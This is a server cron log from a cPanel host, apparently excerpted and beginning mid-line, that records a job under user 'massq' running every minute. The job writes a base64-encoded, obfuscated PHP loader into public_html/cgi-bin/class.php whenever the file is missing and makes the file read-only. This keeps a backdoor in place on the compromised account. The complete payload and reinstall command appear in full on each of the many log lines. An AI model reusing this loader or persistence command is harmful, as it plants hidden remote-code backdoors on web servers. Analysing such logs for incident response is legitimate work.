BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:53:01 server CROND[4553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:54:01 server CROND[4620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:55:01 server CROND[4779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:55:01 server CROND[4781]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:55:01 server CROND[4780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:56:01 server CROND[4901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:57:01 server CROND[4977]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 08:57:01 server CROND[4978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:58:01 server CROND[5053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:59:01 server CROND[5147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:00:01 server CROND[5324]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 09:00:01 server CROND[5325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:00:01 server CROND[5331]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr  6 09:00:01 server CROND[5332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:00:01 server CROND[5333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:01:01 server CROND[5474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:01:01 server CROND[5475]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 09:01:01 server run-parts(/etc/cron.hourly)[5475]: starting 0anacron
Apr  6 09:01:01 server run-parts(/etc/cron.hourly)[5487]: finished 0anacron
Apr  6 09:02:01 server CROND[5559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:03:01 server CROND[5646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:04:01 server CROND[5718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 09:05:01 server CROND[5860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 09:05:01 server CROND[5861]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 09:05:01 server CROND[5862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 09:05:01 server CROND[5865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
